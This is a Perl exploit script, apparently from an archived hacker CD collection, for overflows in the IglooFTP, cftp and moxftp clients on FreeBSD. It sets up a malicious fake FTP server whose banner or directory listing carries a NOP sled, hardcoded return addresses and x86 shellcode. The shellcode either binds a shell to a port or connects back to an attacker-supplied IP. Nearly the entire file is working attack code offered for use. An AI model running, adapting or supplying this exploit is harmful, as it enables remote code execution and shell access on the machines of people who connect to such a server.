home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 12 / hacker12 / 12_HACKER_12.ISO / exploits / DSRftpclients / DSR-ftp_clients.pl
Encoding:
Perl Script  |  2003-08-21  |  4.8 KB  |  171 lines

  1. #!/usr/bin/perl
  2.  
  3. # PoC exploit for iglooftp, cftp and moxftp for freebsd
  4.  
  5. # moxftp / mftp 2.2
  6. # cftp 0.12
  7. # Iglooftp 0.6.1
  8.  
  9. # Some of the code is fucked, the passive connection is a cheap hack and will not
  10. # respawn, so the fake ftpd will have to be restarted... (only IglooFTP)
  11. # Some RET adr's change, this can be fixed with gdb, look into it yourself..
  12.  
  13. # all the clients are from ports.. some may have been fixed, did this shit some 
  14. # time ago..
  15.  
  16. # thanks to kokanin for help and advice
  17. # code by inv[at]dtors
  18.  
  19. use IO::Socket;
  20.  
  21. sub convert_ret {
  22. my($ret) = @_;
  23.     
  24.     for ($x=8; $x>0; $x=$x-2){
  25.     $ret = substr($ret_temp,$x,2);
  26.     $new_ret .= chr hex "$ret";
  27.     }
  28. return $new_ret;
  29. }
  30.  
  31. sub convert_ip {
  32. my($ip) = @_;
  33.  
  34. @ip_tmp = split(/\./, $ip);
  35.  
  36. for($x=0; $x<4; $x++) {
  37.     $new_ip .= chr @ip_tmp[$x];
  38. }
  39. return $new_ip;
  40. }
  41.  
  42. $server_port = 21;
  43. $passive_server_port = 10324;
  44.  
  45. unless(@ARGV == 3 || @ARGV == 2) 
  46. { die 
  47. "Usage ./DSR-ftp_clients.pl Shellcode Client Ip\n
  48. \tShellcode:\t0 = Portbind
  49. \t\t\t1 = Connect back\n
  50. \tClient:\t\t0 = IglooFTP (FreeBSD 4.7)
  51. \t\t\t1 = cftp (FreeBSD 4.7)
  52. \t\t\t2 = Moxftp (FreeBSD 4.7)
  53. \t\t\t3 = cftp (FreeBSD 5.0)
  54. \t\t\t4 = IglooFTP (FreeBSD 5.0)
  55. \t\t\t5 = Moxftp (FreeBSD 5.0)\n"
  56. }
  57.  
  58. ($shellcode_arg, $client_arg, $extra_arg) = @ARGV;
  59.  
  60. $user_ip = convert_ip($extra_arg);
  61.  
  62. @shellcode_list = (
  63.     "Portbind,\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x52\x66\x68\x27\x10\x66\x51\x89\xe6\xb1\x10\x51\x56\x50\x50\xb0\x68\xcd\x80\x51\x53\x53\xb0\x6a\xcd\x80\x52\x52\x53\x53\xb0\x1e\xcd\x80\xb1\x03\x89\xc3\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80",
  64.     "Connect Back,\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x68"."$user_ip"."\x66\x68\x27\x10\x66\x51\x89\xe6\xb2\x10\x52\x56\x50\x50\xb0\x62\xcd\x80\x41\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80");
  65.  
  66. @client_list = (
  67.     "IglooFTP - FreeBSD 4.7,188,0xbfbfc560,0",
  68.     "cftp - FreeBSD 4.7,8192,0xbfbffb04,1,300",
  69.     "mftp - FreeBSD 4.7,516,0xbfbff8e0,1,100",
  70.     "cftp - FreeBSD 5.0,8196,0xbfbffa30,1,300",
  71.     "IglooFTP - FreeBSD 5.0,212,0xbfbfc440,0",
  72.     "mftp - FreeBSD 5.0,532,0xbfbff950,1,100");
  73.  
  74. @client_info = split(/,/,@client_list[$client_arg]);
  75. @shellcode_info = split(/,/,@shellcode_list[$shellcode_arg]);
  76.  
  77. print "\tDSR-ftp_clients by inv\n
  78. Setting up Service on Port: $server_port
  79. Client: @client_info[0]
  80. Using Shellcode: @shellcode_info[0]
  81. Using Offset: @client_info[2]\n";
  82.  
  83. $shellcode = @shellcode_info[1];
  84. $shellcode_length = length($shellcode);
  85.  
  86. $nop_count = @client_info[1] - $shellcode_length - 8;
  87. $nops = "\x90"x$nop_count;
  88.  
  89. $ret_temp = @client_info[2];
  90. $ret = substr($ret_temp,2,8);
  91. $ret = convert_ret($ret);
  92. $ret = "$ret"x2;
  93.  
  94. if(@client_info[3] eq "1") {
  95.     $nops_x = "\x90"x@client_info[1];
  96.     $nops_y = "\x90"x@client_info[4];
  97.     $exploit_string = "$nops_x"."$ret"."$nops_y"."$shellcode";
  98. }
  99.  
  100. if($client_arg == 0 or $client_arg == 4) {
  101.     $exploit_string ="total 666
  102. drwxr-xr-x    25 root wheel    1536 Jan 28 00:13 .
  103. drwxr-xr-x    14 root wheel     512 Jan 28 00:13 ..
  104. -rwxr-xr-x     2 inv    inv     512 Jan 29 01:00 $nops$shellcode$ret";
  105. }
  106.  
  107. $server = IO::Socket::INET->new(LocalPort => $server_port,
  108.                                 Type    => SOCK_STREAM,
  109.                                 Reuse   => 1,
  110.                                 Listen  => 10)
  111. or die "Can't listen on $server_port : $!\n";
  112.  
  113. while ($client = $server->accept()) {
  114.     
  115.     if(@client_info[3] == 1) {
  116.     print $client "220 $exploit_string\n";
  117.     }
  118.     
  119.     if(@client_info[3] eq "0") {
  120.     print $client "220 0xdeadcode\n";
  121.     while($request !=~ /QUIT/i) {
  122.         $request = <$client>;
  123.         print $request;
  124.         
  125.         if($request =~ /PASS/i) {
  126.         print $client "230 User anonymous logged in.\n";
  127.         }
  128.         
  129.         if($request =~ /USER/i) {
  130.         print $client "331 Password required for anonymous.\n";
  131.         }
  132.     
  133.         if($request =~ /SYST/i) {
  134.         print $client "215 UNIX Type: L8\n";
  135.         }
  136.     
  137.         if($request =~ /REST/i) {
  138.         print $client "350 Restarting.\n";
  139.         }
  140.     
  141.         if($request =~ /TYPE/i) {
  142.             print $client "200 Type set to A.\n";
  143.         }
  144.         
  145.         if($request =~ /PWD/i or $request =~ /FEAT/i) {
  146.         print $client "257 \"/usr/home/inv/\" is current directory.\n";
  147.         }
  148.     
  149.         if($request =~ /PASV/i) {
  150.         $passive_server = IO::Socket::INET->new(LocalPort => $passive_server_port,
  151.                     Type     => SOCK_STREAM,
  152.                     Reuse     => 1,
  153.                     Listen     => 10)
  154.         or die "Can't open passive port";
  155.         print $client "227 Entering Passive Mode (127,0,0,1,40,84)\n";
  156.         }
  157.         
  158.         if ($request =~ /LIST/i) {
  159.         while($passive_client = $passive_server->accept()){
  160.             print $client "150 Starting transfer.\n";    
  161.             print $passive_client $exploit_string;
  162.             close $passive_client;
  163.             print $client "226 BANG YOU ARE DEAD!!!\n";
  164.         }
  165.         }    
  166.     
  167.     }
  168.     close $client;
  169.     }
  170. }
  171.